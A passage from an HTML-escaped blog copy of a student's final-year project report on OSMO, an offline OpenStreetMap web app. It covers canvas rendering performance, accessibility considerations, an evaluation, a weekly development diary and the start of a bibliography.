-0.032999992 0.27499998 -0.04400003 0.847 -0.04400003 1.716 c 0 0.95700026 0.032999992 1.6279998 0.08800006 1.9910002 c 0.09899998 0.605 0.29699993 0.9899998 0.605 1.1549997 c 0.24199986 0.13199997 0.45099998 0.19799995 0.638 0.19799995 c 0.7149999 0 1.1109998 -0.5829997 1.2319999 -1.2319999 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="gCAB1FC9E0D5DE3EA4DB28A87F0A11DED" overflow="visible"&gt;&lt;path d="M 0 0m 4.884 7.898 c 0.011000156 0.022000313 0.011000156 0.055000305 0.011000156 0.0880003 c 0 0.17599964 -0.08799982 0.26399994 -0.26399994 0.26399994 c -0.12100029 0 -0.19799995 -0.055000305 -0.2420001 -0.17599964 l -3.762 -10.472 c -0.010999978 -0.022000074 -0.010999978 -0.055000067 -0.010999978 -0.08800006 c 0 -0.17599988 0.088 -0.26399994 0.264 -0.26399994 c 0.12100005 0 0.19799995 0.055000067 0.24199998 0.17600012 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="g759C0B89CBBF5162A1729EA7040B13FE" overflow="visible"&gt;&lt;path d="M 0 0m 4.213 5.544 c 0.3630004 0 0.53900003 0.1869998 0.53900003 0.5609999 c 0 0.7919998 -0.59399986 1.2209997 -1.408 1.2209997 c -0.91299987 0 -1.6389998 -0.4289999 -2.178 -1.2979999 c -0.473 -0.74800014 -0.704 -1.5949998 -0.704 -2.5519998 c 0 -1.3970001 0.25299996 -2.376 0.77 -2.959 c 0.43999994 -0.50600004 0.946 -0.759 1.5289999 -0.759 c 0.671 0 1.221 0.253 1.6499999 0.759 c 0.40700006 0.48400003 0.6160002 1.0669999 0.6160002 1.7379999 c 0 0.671 -0.19799995 1.243 -0.59399986 1.7160001 c -0.41800022 0.5059998 -0.957 0.7700002 -1.6060002 0.7700002 c -0.572 0 -1.012 -0.31900024 -1.3089999 -0.9350002 v 0.065999985 c 0 1.2429998 0.30799997 2.299 0.96800005 2.7829998 c 0.286 0.20900011 0.58299994 0.3080001 0.8799999 0.3080001 c 0.39600015 0 0.6819999 -0.10999966 0.8690002 -0.34100008 c -0.37400007 0 -0.5610001 -0.20899963 -0.5610001 -0.53899956 c 0 -0.3080001 0.23099995 -0.53900003 0.5389998 -0.53900003 Z m -0.4289999 -1.8040001 c 0.12100005 -0.25300002 0.18700004 -0.7479999 0.18700004 -1.474 c 0 -0.71500003 -0.055000067 -1.1880001 -0.17599988 -1.4300001 c -0.22000003 -0.45099998 -0.5610001 -0.682 -1.0340002 -0.682 c -0.319 0 -0.5609999 0.11 -0.737 0.32999998 c -0.14299989 0.17599997 -0.24199998 0.33 -0.2859999 0.451 c -0.13200009 0.34100002 -0.19800007 0.858 -0.19800007 1.562 c 0 0.3080001 0.04400003 0.605 0.12100005 0.89100003 c 0.143 0.51699996 0.54999995 1.0009999 1.155 1.0009999 c 0.4289999 0 0.75900006 -0.21999979 0.96799994 -0.6489999 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="gEF8BA589DAA93C55687BBE9F18D785DF" overflow="visible"&gt;&lt;path d="M 0 0m 7.678 4.037 h -6.798 c -0.176 0 -0.264 -0.0880003 -0.264 -0.25300026 c 0 -0.16499996 0.088 -0.25300002 0.264 -0.25300002 h 6.798 c 0.17600012 0 0.26399994 0.08800006 0.26399994 0.25300002 c 0 0.13199997 -0.12099981 0.25300026 -0.26399994 0.25300026 Z m 0 -2.0680003 h -6.798 c -0.176 0 -0.264 -0.08799994 -0.264 -0.25300002 c 0 -0.16499996 0.088 -0.25300002 0.264 -0.25300002 h 6.798 c 0.17600012 0 0.26399994 0.08800006 0.26399994 0.25300002 c 0 0.143 -0.12099981 0.25300002 -0.26399994 0.25300002 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="g7DAA6C8A64E6F32D770ECA95FB9D7219" overflow="visible"&gt;&lt;path d="M 0 0m 2.112 0.583 c 0 0.319 -0.26399994 0.583 -0.58299994 0.583 c -0.319 0 -0.58300006 -0.264 -0.58300006 -0.583 c 0 -0.319 0.26400006 -0.583 0.58300006 -0.583 c 0.319 0 0.58299994 0.264 0.58299994 0.583 Z "/&gt;&lt;/symbol&gt;&lt;/defs&gt;&lt;/svg&gt;&lt;/span&gt; ms, so that we have a new frame to show with each refresh of the screen.&lt;/p&gt;
&lt;p&gt;The first tool I implemented to work towards achieving this was adding a frame time metric to the debug information at the top of the canvas. This allowed me to test various different configurations and code changes to see which resulted in the best performance. Measuring the frame time is helpful for gauging performance overall, but it is not very precise — you cannot see exactly what is consuming the CPU time within the &lt;code&gt;render()&lt;/code&gt; call.&lt;/p&gt;
&lt;figure id="loc-88"&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/uni-final-year-project/images/profiling_hu_9e9a39795df47fb6.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/uni-final-year-project/images/profiling_hu_3545b23a30df9444.webp 320w, https://george.honeywood.org.uk/blog/uni-final-year-project/images/profiling_hu_b09bf026f221df4c.webp 640w, https://george.honeywood.org.uk/blog/uni-final-year-project/images/profiling_hu_2b6e71e451bf2b14.webp 960w, https://george.honeywood.org.uk/blog/uni-final-year-project/images/profiling_hu_8ca5f374b2d54e1b.webp 1280w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/uni-final-year-project/images/profiling_hu_10f2da2c2c80ad43.jpg'
width="1920"
height="868"
loading="lazy"
alt='Using the profiler'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;/figure&gt;
&lt;figcaption&gt;Figure 10:&lt;span style="white-space: pre-wrap"&gt;&amp;#x20;&amp;#x20;&lt;/span&gt;Using the profiler&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;This is where the profiler comes in. It is a tool that lets you visualize how long different function calls within your code take to execute. Both Firefox and Chrome include one within their Developer Tools. I marginally prefer the one Firefox provides (for its Flame Graph, see Figure &lt;a href="#loc-88"&gt;5.3&lt;/a&gt;), but it is important to test in both browsers, as their performance characteristics are surprisingly different. This led me to discover that the vast majority of the time spent in the &lt;code&gt;render()&lt;/code&gt; function is in calls on the &lt;code&gt;CanvasRenderingContext2D&lt;/code&gt;, to either &lt;code&gt;stroke()&lt;/code&gt;, &lt;code&gt;fill()&lt;/code&gt;, or draw a &lt;code&gt;lineTo()&lt;/code&gt;. Therefore, the most important factor to optimize in this scenario is to reduce the amount of geometries that need to be rendered.&lt;/p&gt;
&lt;h2&gt;Professional issues&lt;/h2&gt;
&lt;p&gt;Accessibility is a particularly relevant concern for my project. People with disabilities still need to be able to be able to interpret geographic data, and may have different priorities to able-bodied users. Those with visual impairments need larger map label sizes, and wheelchair users may need extra context about sloped kerbs. My application should accommodate as many of these needs as possible.&lt;/p&gt;
&lt;p&gt;Through assistive technologies like screen readers or magnification, most text-based web content is accessible to partially sighted or blind users. Android and iOS both have built-in screen-readers — TalkBack and VoiceOver respectively. These tools assist users by providing a full alternate means of interaction that is more complete and usable than simply reading out the text on screen. TalkBack disables the usual touch/swipe gestures on the phone, instead allowing the user to swipe left or right to navigate through tab stops in the interface. At each tab stop TalkBack announces the type and content of the selected screen element, and the user can double-tap to interact with it if necessary. The system navigation gestures can be accessed through two-finger swipes, instead of the usual single finger ones.&lt;/p&gt;
&lt;p&gt;Talkback works for not only native apps, but also web based content. This is enabled through use of semantic HTML elements, supplemented by ARIA tagging where this is not possible &lt;a id="loc-89" href="#loc-159" role="doc-biblioref"&gt;[59]&lt;/a&gt;. The idea behind semantic HTML is that the HTML markup should convey meaning, instead of providing information purely visually through CSS. For example, UI buttons should be tagged as &lt;code&gt;&amp;lt;button&gt;&lt;/code&gt; elements, over plain &lt;code&gt;&amp;lt;div&gt;&lt;/code&gt;s, so that a screen reader can relay this context to the user. There are numerous HTML elements that have semantics, such as basics like &lt;code&gt;&amp;lt;ul&gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;h1&gt;&lt;/code&gt;, and others that convey more complex concepts, like &lt;code&gt;&amp;lt;nav&gt;&lt;/code&gt; for navigation menus &lt;a id="loc-90" href="#loc-160" role="doc-biblioref"&gt;[60]&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Even most non-text based media can be made accessible to blind people, through &lt;code&gt;alt&lt;/code&gt; tags on images and subtitling on videos. Unfortunately, this is simply not possible for web maps, as they convey meaning in a visual form that cannot be textually described easily. MDN advises that, in general, web developers should use semantic HTML over the &lt;code&gt;&amp;lt;canvas&gt;&lt;/code&gt; element, as the canvas is opaque bitmapped data that cannot be interpreted by a screen reader &lt;a id="loc-91" href="#loc-161" role="doc-biblioref"&gt;[61]&lt;/a&gt;. Notwithstanding this, blind and visually impaired people still need to navigate the world. &lt;a id="loc-92" href="#loc-162" role="doc-biblioref"&gt;[62]&lt;/a&gt; found that a “Tactile Way-finding Belt”, could help facilitate navigation for those with “visual impairment or Alzheimer’s disease”. They based their study on a system of four vibrating motors, with one for each cardinal direction, which provide signals directing the wearer to their destination. By design this format is more limited than a map, but it does work towards making one of their main uses, navigation, more accessible.&lt;/p&gt;
&lt;figure id="loc-93"&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/uni-final-year-project/images/simulated-deuteranopia_hu_d5f1e193cf0ad278.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/uni-final-year-project/images/simulated-deuteranopia_hu_48701ea3ae019bdb.webp 320w, https://george.honeywood.org.uk/blog/uni-final-year-project/images/simulated-deuteranopia_hu_5e2d193b4a85bb9f.webp 640w, https://george.honeywood.org.uk/blog/uni-final-year-project/images/simulated-deuteranopia_hu_9e72c9d4739aa5.webp 960w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/uni-final-year-project/images/simulated-deuteranopia_hu_82c638f10f785d10.jpg'
width="1275"
height="938"
loading="lazy"
alt='Simulating deuteranopia, in Firefox Developer Tools'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;/figure&gt;
&lt;figcaption&gt;Figure 11:&lt;span style="white-space: pre-wrap"&gt;&amp;#x20;&amp;#x20;&lt;/span&gt;Simulating deuteranopia, in Firefox Developer Tools&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;A common form of visual impairment is colour vision deficiency (colour blindness). According to the &lt;a id="loc-94" href="#loc-163" role="doc-biblioref"&gt;[63]&lt;/a&gt;, the red-green form affects around 1 in 12 men and 1 in 200 women. This can be more easily accommodated than other forms of visual impairment by ensuring that text and backgrounds have a suitable contrast ratio, described in the Web Content Accessibility Guidelines &lt;a id="loc-95" href="#loc-164" role="doc-biblioref"&gt;[64]&lt;/a&gt;. It is also important to visually check colour contrast through simulators. The Developer Tools in Firefox provide one such simulator, which can visualize various forms of colour vision deficiency — see &lt;a href="#loc-93"&gt;[fig:deuteranopia]&lt;/a&gt;.&lt;/p&gt;
&lt;figure id="loc-96"&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/uni-final-year-project/images/street-complete-kerb_hu_8e85a7b1e950532f.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/uni-final-year-project/images/street-complete-kerb_hu_7cc7688a49a2aa55.webp 320w, https://george.honeywood.org.uk/blog/uni-final-year-project/images/street-complete-kerb_hu_61a153ab66dae2ee.webp 640w, https://george.honeywood.org.uk/blog/uni-final-year-project/images/street-complete-kerb_hu_ba7777dd8d8a8e49.webp 960w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/uni-final-year-project/images/street-complete-kerb_hu_ed331681c0c0fd85.jpg'
width="1068"
height="2295"
loading="lazy"
alt='Adding kerb height data using the StreetComplete app'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;/figure&gt;
&lt;figcaption&gt;Figure 12:&lt;span style="white-space: pre-wrap"&gt;&amp;#x20;&amp;#x20;&lt;/span&gt;Adding kerb height data using the StreetComplete app&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;Physical disabilities can also be accommodated in an OpenStreetMap-based map. In its simplest form, a point of interest can be tagged with &lt;code&gt;wheelchair=(yes|limited|no)&lt;/code&gt;. This tag indicates to what degree an amenity can be accessed by a wheelchair user. &lt;code&gt;wheelchair=*&lt;/code&gt; tagging is quite well-used, though not ubiquitous, with around 2.5 million uses worldwide according to Taginfo &lt;a id="loc-97" href="#loc-165" role="doc-biblioref"&gt;[65]&lt;/a&gt;. Routing software for wheelchair and walking frame users must avoid features like stairs (&lt;code&gt;highway=steps&lt;/code&gt;) and full-height kerbs. Adding this tagging is well-supported in “on-the-go” map editing apps like StreetComplete, which has a “quest” dedicated to adding this adding kerb details — see &lt;a href="#loc-96"&gt;[fig:sc-kerb]&lt;/a&gt; &lt;a id="loc-98" href="#loc-166" role="doc-biblioref"&gt;[66]&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;There are specialized map viewers, specifically designed to make viewing wheelchair tagging simple — most popularly Wheelmap, which uses green, orange, or red to indicate wheelchair accessibility &lt;a id="loc-99" href="#loc-167" role="doc-biblioref"&gt;[67]&lt;/a&gt;. Wheelmap can also be used to add this tagging to amenities, through a simple form, that lowers the barrier of entry for contributing this information to OSM. &lt;code&gt;smoothness=*&lt;/code&gt; tagging is also valuable to wheelchair users &lt;a id="loc-100" href="#loc-168" role="doc-biblioref"&gt;[68]&lt;/a&gt;. This key has textual values ranging from &lt;code&gt;excellent&lt;/code&gt; to &lt;code&gt;very_horrible&lt;/code&gt;, with wheelchair users unlikely to be able to traverse anything at the level of &lt;code&gt;smoothness=bad&lt;/code&gt; or worse. Routers can use this information to inform the paths they choose.&lt;/p&gt;
&lt;p&gt;One accessibility consideration that I have made whilst developing this project is to include multiple alternative interaction gestures where possible. For example, when zooming the map, you can pick from either the two finger “pinch” zoom gesture, or alternatively a single finger tap and hold. This allows people with the ability to use only one hand, such as amputees or walking stick users, to make full use of the application.&lt;/p&gt;
&lt;h2&gt;Conclusion &amp;amp; evaluation&lt;/h2&gt;
&lt;p&gt;Overall the project has been a success. OSMO is capable of decoding and rendering Mapsforge files, and can sparsely download map regions for offline use. A novel aspect of the project is the usage of HTTP range requests to fetch only the required bytes from the Mapsforge file, meaning that no specialized map tile server is required. I am also happy with the UX on mobile, where the web app can be “installed” as a PWA, giving a native-like experience.&lt;/p&gt;
&lt;figure&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/uni-final-year-project/images/osmo_hu_ce83f96b65dd37c0.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/uni-final-year-project/images/osmo_hu_d9704760556d2fe.webp 320w, https://george.honeywood.org.uk/blog/uni-final-year-project/images/osmo_hu_4c6a501614bab042.webp 640w, https://george.honeywood.org.uk/blog/uni-final-year-project/images/osmo_hu_76eb5fc6abeba6c0.webp 960w, https://george.honeywood.org.uk/blog/uni-final-year-project/images/osmo_hu_c33a141191a4d0f1.webp 1280w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/uni-final-year-project/images/osmo_hu_8390e4033bfca4bc.jpg'
width="2560"
height="1160"
loading="lazy"
alt='OSMO rendering Cornwall'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;/figure&gt;
&lt;figcaption&gt;Figure 13:&lt;span style="white-space: pre-wrap"&gt;&amp;#x20;&amp;#x20;&lt;/span&gt;OSMO rendering Cornwall&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;In term one I successfully followed the timeline I set out in &lt;a href="#loc-32"&gt;[sec:term-1-plan]&lt;/a&gt;. I mildly deviated from the plan in that I added an extra research report. This was on the basics of web technologies, to provide a basis of understanding for the rest of my project — as I had written my other reports assuming quite a high level of base knowledge. The proof of concepts were useful, helping me to understand key technologies and discover how is best to build the final deliverable.&lt;/p&gt;
&lt;p&gt;In term two the plan was less useful, as the way that I had built the proof of concepts on one another meant that no integration work was necessary. I also allocated a generous amount of time for mobile design &amp;amp; testing, which wasn’t required as I conducted this through the development of proof of concepts. In addition, I did not allow time specifically for working on the UI, when in reality I spent some time working adding a frontend framework (see &lt;a href="#loc-77"&gt;[sec:svelte]&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;In term two I also spent some time refining the tile loading system to use HTTP range requests, which was not planned for. This had the knock-on effect of complicating offline support with the service worker, taking up extra time. Other than that, however, the rest of the deliverables were non-blocking to the project, meaning I had some flexibility in what I worked on. I ended up not implementing deliverables &lt;a href="#loc-28"&gt;[item:deliverable:routing]&lt;/a&gt; (online routing) and &lt;a href="#loc-29"&gt;[item:deliverable:wikipedia]&lt;/a&gt; (Wikipedia integration), instead prioritizing polishing the offline user experience.&lt;/p&gt;
&lt;p&gt;In retrospect, I should have put some more thought into alternative rendering strategies — the renderer is definitely the weakest part of the project. Both mobile and desktop performance is broadly acceptable until you zoom out past zoom level 13, at which point the frame time becomes &gt;100ms (&amp;lt;10fps). At zoom 7, where you can see the whole of the UK, the frame time is &gt;500ms (&amp;lt;2fps). This is unacceptable, especially for an app targeted at mobile devices with limited CPU power &amp;amp; battery life.&lt;/p&gt;
&lt;p&gt;At the start of the project I should have spent time researching alternative rendering strategies that would have allowed for a more responsive experience. One way I could have achieved this would have been to use WebGL, which is GPU accelerated — see &lt;a href="#loc-75"&gt;[sec:webgl]&lt;/a&gt; for more detail. Or, instead of WebGL, I could have adopted a hybrid raster approach, in which the tiles are each rendered once for each zoom level, then reused, instead of re-rendering everything on every frame. The drawbacks of this approach would be additional complexity, and that you would only be able to view the map at discrete zoom levels.&lt;/p&gt;
&lt;p&gt;Due to this ever-present need to keep the frame time down, I was apprehensive to add advanced rendering features, like way labels that follow road curvature — as they would make the process even slower. In addition, I would have liked to add a label collision prevention algorithm. While the Mapsforge format handles some of this issue, mostly by reducing the number of city/town labels, a more sophisticated solution would have been useful for areas with a high density of labels, such as town centres.&lt;/p&gt;
&lt;p&gt;Finally, it would have been valuable to implement some form of theming system. Most map rendering libraries provide some sort of interface that can be used to customize how features render. This could be used to provide a dark theme, or customize the cartography of the map for a specific use.&lt;/p&gt;
&lt;p&gt;I am pleased with the implementation of online/offline mode switching, where if a user loads any tile that has not already been cached, it will be stored in the service worker for later offline use. The user can also choose to download the tiles currently below the viewport, if they know that they will need access to that specific area when offline later.&lt;/p&gt;
&lt;h2&gt;Appendix&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;diary.md&lt;/code&gt;&lt;/h3&gt;
&lt;h4&gt;Term 1&lt;/h4&gt;
&lt;h5&gt;Week 2 (2022-09-26)&lt;/h5&gt;
&lt;p&gt;Worked on the initial project plan. Read through “OpenStreetMap – Using and Enhancing the Free Map of the World”.&lt;/p&gt;
&lt;h5&gt;Week 3 (2022-10-03)&lt;/h5&gt;
&lt;p&gt;Got feedback on initial plan from my supervisor (Reuben Rowe), and made alterations based on it. Specifically, I shorted the abstract by moving content to an introduction section, wrote a general “Aims &amp;amp; objectives” section, and added a “Deliverables” section, referencing these deliverables in the timeline. I also polished the “Risks &amp;amp; mitigations” section, and changed inline links to references.&lt;/p&gt;
&lt;h5&gt;Week 4 (2022-10-10)&lt;/h5&gt;
&lt;p&gt;Worked on the first report, about offline HTML5 applications (deliverable 1).&lt;/p&gt;
&lt;h5&gt;Week 5 (2022-10-17)&lt;/h5&gt;
&lt;p&gt;Worked on the offline HTML5 proof of concept (deliverable 2). Implemented a demo offline app using service workers, with the ability to load a large file either from the local disk using the File API, or from the service worker cache with the Cache API.&lt;/p&gt;
&lt;p&gt;Completed report on OpenStreetMap data sources (deliverable 3). Completed report on map projections (deliverable 4).&lt;/p&gt;
&lt;h5&gt;Week 6 (2022-10-24)&lt;/h5&gt;
&lt;p&gt;Implemented the proof of concept that renders some array of wgs84 coordinates to a Mercator projected map (deliverable 5, proof-of-concepts/2-rendering-a-way). Allows you to render the boundaries of three different towns – with manually chosen zoom factor.&lt;/p&gt;
&lt;p&gt;Started a report on the HTML5 canvas.&lt;/p&gt;
&lt;p&gt;Started work on the panning and zooming proof of concept (deliverable 6, proof-of-concepts/3-panning-and-zooming). Got WASD panning, and scrollwheel zoom working.&lt;/p&gt;
&lt;h5&gt;Week 7 (2022-10-31)&lt;/h5&gt;
&lt;p&gt;Continued work on the panning and zooming proof of concept. Implemented click panning and touch controls: pinch zoom &amp;amp; single finger panning. Also made zooming work around the mouse/pinch gesture instead of the centre of the screen.&lt;/p&gt;
&lt;p&gt;Made the map linkable, i.e. you can send a link to a position on the map. This is done by writing the current map centre position and zoom level to the end of the URL.&lt;/p&gt;
&lt;p&gt;Add esbuild (JavaScript bundler). This means I can write JavaScript in multiple files, but have them merged together be served to the user. I can also use newer JavaScript features, and have them transpiled into older syntax.&lt;/p&gt;
&lt;h5&gt;Week 8 (2022-11-07)&lt;/h5&gt;
&lt;p&gt;Began work on the Mapsforge file parser. Added testing using Jest to help develop the Mapsforge parser. Finished decoding the file header, which contains metadata and other information needed to parse the rest of the file.&lt;/p&gt;
&lt;h5&gt;Week 9 (2022-11-14)&lt;/h5&gt;
&lt;p&gt;More Mapsforge parser work. Specifically decoding the tile data itself. First reading PoIs from the file, then Ways. Used the Mapsforge map file creator to generate map files with debug information, to make writing the parser easier. Created a &lt;code&gt;Reader&lt;/code&gt; abstraction over the JavaScript &lt;code&gt;DataView&lt;/code&gt; API, storing and updating the offset that the data is being read from, making the code much cleaner.&lt;/p&gt;
&lt;p&gt;Got a single tile of data to appear in the canvas map, but there is some issue with the transformation of the coordinate data.&lt;/p&gt;
&lt;h5&gt;Week 10 (2022-11-21)&lt;/h5&gt;
&lt;p&gt;Worked on the interim report in preparation for supervisor meeting, then for the interim submission. Fixed a tricky bug that was a result of an incorrect interpretation of the signed integer values. This was discovered and fixed by writing some tests that I should have written in the first place.&lt;/p&gt;
&lt;p&gt;Got multiple tiles to appear on the map, being loaded dynamically as you pan and zoom. Currently always loads the high resolution subfile, at z14, so zooming out quickly becomes slow. Fixing this is my next goal.&lt;/p&gt;
&lt;h5&gt;Week 11 (2022-11-28)&lt;/h5&gt;
&lt;p&gt;Worked on getting the correct base tiles to render as you zoom in/out, significantly improving performance, and letting you get a high level overview of the map.&lt;/p&gt;
&lt;p&gt;Added styling for Ways and PoIs, with some zoom-conditional rendering logic. Continuing with the interim report.&lt;/p&gt;
&lt;h5&gt;Week 12 (2022-12-05)&lt;/h5&gt;
&lt;p&gt;Improved multipolygon handling, rendering each ring separately. Still not perfect, as it currently in-fills everything inside the outer way, when it should only fill up to the inner ways.&lt;/p&gt;
&lt;p&gt;Worked on handling v5 files. These have variable tag values, so data other than the hardcoded tags supported by the format can be stored.&lt;/p&gt;
&lt;p&gt;Added an online mode, where instead of fetching the whole map blob in one go, we fetch only the chunks we need, using HTTP range requests. This allows you to interactively use huge map files, like the whole of England (~800 MB), as it only fetches the necessary bits of the file for your current viewport.&lt;/p&gt;
&lt;h4&gt;Term 2&lt;/h4&gt;
&lt;h5&gt;Week 18 (2023-01-16)&lt;/h5&gt;
&lt;p&gt;Added geolocation support, using &lt;code&gt;geolocation.watchPosition()&lt;/code&gt;, which updates with your position. Also added double tap + hold gesture for zooming with a single finger on mobile.&lt;/p&gt;
&lt;p&gt;Worked on the professional issues’ section of the report, talking about accessibility.&lt;/p&gt;
&lt;h5&gt;Week 19 (2023-01-23)&lt;/h5&gt;
&lt;p&gt;Finished off the professional issues section. Talked about visual impairments and physical disabilities, and how they impact usage of an OSM-based map. Also discussed how mappers can help make OSM accessible by using certain tags, like &lt;code&gt;wheelchair=*&lt;/code&gt; or &lt;code&gt;smoothness=*&lt;/code&gt;. Debating writing a conclusion paragraph for it.&lt;/p&gt;
&lt;p&gt;Worked on map fling — where map continues to scroll after fast movement. Only for mouse controls at the moment.&lt;/p&gt;
&lt;p&gt;Started work on search (geocoding), using the Nominatim API hosted by the OSMF. Improved styling, by making the canvas fullscreen, and overlaying the title atop it.&lt;/p&gt;
&lt;h5&gt;Week 20 (2023-01-30)&lt;/h5&gt;
&lt;p&gt;Added the ability to bind the search to the current map viewport. Made search results show up beneath the search bar, where you can click them to pan the map to the location.&lt;/p&gt;
&lt;p&gt;UI improvements. Made search bar responsive, and always visible. Replaced text with icons where possible.&lt;/p&gt;
&lt;h5&gt;Week 21 (2023-02-06)&lt;/h5&gt;
&lt;p&gt;Big refactor to use Svelte front-end framework. This made all the UI code much cleaner, with no more passing DOM references through the JavaScript code. Now there is a big &lt;code&gt;Map.svelte&lt;/code&gt; component, which holds all the Touch/Mouse/Keyboard event handlers. Also allowed me to scope the CSS to each component, instead of having a single massive chunk of CSS in &lt;code&gt;index.html&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Using a proper UI framework made it much easier to make the search form reactive. Worked on making it resettable. Also added a nice dropdown animation for when the results pop in.&lt;/p&gt;
&lt;h5&gt;Week 22 (2023-02-13)&lt;/h5&gt;
&lt;p&gt;Improved offline handling, swapping the search bar for an offline icon when there is no internet access. New fancy favicon.&lt;/p&gt;
&lt;p&gt;Added support for opening a local map file, on the user’s device. Set up Gitlab CI, with self-hosted runner. Spent a while debugging why tests were taking 3 minutes, when locally they take 2 seconds. Turned out to be &lt;a href="https://gist.github.com/charlyie/76ff7d288165c7d42e5ef7d304245916"&gt;this bug&lt;/a&gt;. Also upgraded dependencies.&lt;/p&gt;
&lt;h5&gt;Week 23 (2023-02-20)&lt;/h5&gt;
&lt;p&gt;Added support for Hi-DPI screens. Previously the canvas size was always just the window.innerWidth/Height value, which is in CSS pixels – which aren’t necessarily correlated to real screen pixels. Now the canvas renders at a higher resolution to look crisp on screens with a higher DPI.&lt;/p&gt;
&lt;h5&gt;Week 24 (2023-02-27)&lt;/h5&gt;
&lt;p&gt;Grammar and spelling fixes in report. Fixed bug where labels were duplicated on tile borders. Tested using map inside an iframe – this is a common map usecase, i.e. embedded on a business website.&lt;/p&gt;
&lt;p&gt;Added support for exact range requests in the service worker cache – this means we can do offline mode with the dynamic range requests. Added a download/precache button that lets you download a whole area in advance.&lt;/p&gt;
&lt;h5&gt;Week 25 (2023-03-06)&lt;/h5&gt;
&lt;p&gt;Added a PWA webmanifest, to make the website “installable” on mobile phones. Did some refactoring on the touch event handling code, to remove some necessary helpers. Made it so loading/not found tiles are rendered crossed out.&lt;/p&gt;
&lt;p&gt;Improved partial service worker caching, so that it can retrieve smaller chunks of larger files. This makes downloading and storing many map tiles much more efficient, as (x,y) (x+1,y) tiles are contiguous bytes in the mapsforge file. Adapted prefetch code to fetch these contiguous ranges. Added loading spinner, and an “about” page.&lt;/p&gt;
&lt;h5&gt;Week 26 (2023-03-13)&lt;/h5&gt;
&lt;p&gt;Fixed bug with inconsistent behaviour with dynamic mode and blob mode – turned out to be due to HTTP range requests including the last requested byte, i.e. &lt;code&gt;Range: bytes=0-10&lt;/code&gt; will return 11 bytes, whereas &lt;code&gt;slice(0, 10)&lt;/code&gt; will return 10 bytes. Fixed another bug in the handling of files with debug info.&lt;/p&gt;
&lt;p&gt;Made it so that the service worker takes control on the first page load. Before it was only “controlling” the page after a refresh. This meant that tiles were not cached until a reload occurred, which is unexpected behaviour. Also set up proper resource precaching, to ensure we get all files we need.&lt;/p&gt;
&lt;h5&gt;Week 27 (2023-03-20)&lt;/h5&gt;
&lt;p&gt;Fixed “installing” PWA on Android – before it would add a shortcut to the homescreen, but not add the icon to the app drawer. This was due to providing an SVG icon in the webmanifest, when a PNG was required.&lt;/p&gt;
&lt;section role="doc-bibliography"&gt;
&lt;h2&gt;Bibliography&lt;/h2&gt;
&lt;ul style="list-style-type: none"&gt;
&lt;li id="loc-101"&gt;&lt;span class="prefix"&gt;&lt;a href="#loc-1" role="doc-backlink"&gt;[1]&lt;/a&gt;&lt;/span&gt; F. Ramm, J. Topf, and S. Childon, &lt;em&gt;OpenStreetMap — Using and Enhancing the Free Map of the World&lt;/em&gt;. UIT Cambridge Ltd., 2011.&lt;/li&gt;
&lt;li id="loc-102"&gt;&lt;span class="prefix"&gt;&lt;a href="#loc-2" role="doc-backlink"&gt;[2]&lt;/a&gt;&lt;/span&gt; P. Neis, “OSMStats — Statistics of the free wiki world map.” Accessed: Sept. 29, 2022. [Online]. Available: &lt;a href="https://osmstats.neis-one.org/?item=members"&gt;https://osmstats.neis-one.org/?item=members&lt;/a&gt;&lt;/li&gt;
&lt;li id="loc-103"&gt;&lt;span class="prefix"&gt;&lt;a href="#loc-3" role="doc-backlink"&gt;[3]&lt;/a&gt;&lt;/span&gt; I. Zverev, “Every Door Beans.” [Online]. Available: &lt;a href="https://every-door.app/"&gt;https://every-door.app/&lt;/a&gt;&lt;/li&gt;
&lt;li id="loc-104"&gt;&lt;span class="prefix"&gt;&lt;a href="#loc-4" role="doc-backlink"&gt;[4]&lt;/a&gt;&lt;/span&gt; OsmAnd BV, “OsmAnd.” [Online]. Available: &lt;a href="https://osmand.net/"&gt;https://osmand.net/&lt;/a&gt;&lt;/li&gt;
&lt;li id="loc-105"&gt;&lt;span class="prefix"&gt;&lt;a href="#loc-5" role="doc-backlink"&gt;[5]&lt;/a&gt;&lt;/span&gt; Maps.me (Cyprus) Limited, “Maps.me.” [Online]. Available: &lt;a href="https://maps.me/"&gt;https://maps.me/&lt;/a&gt;&lt;/li&gt;
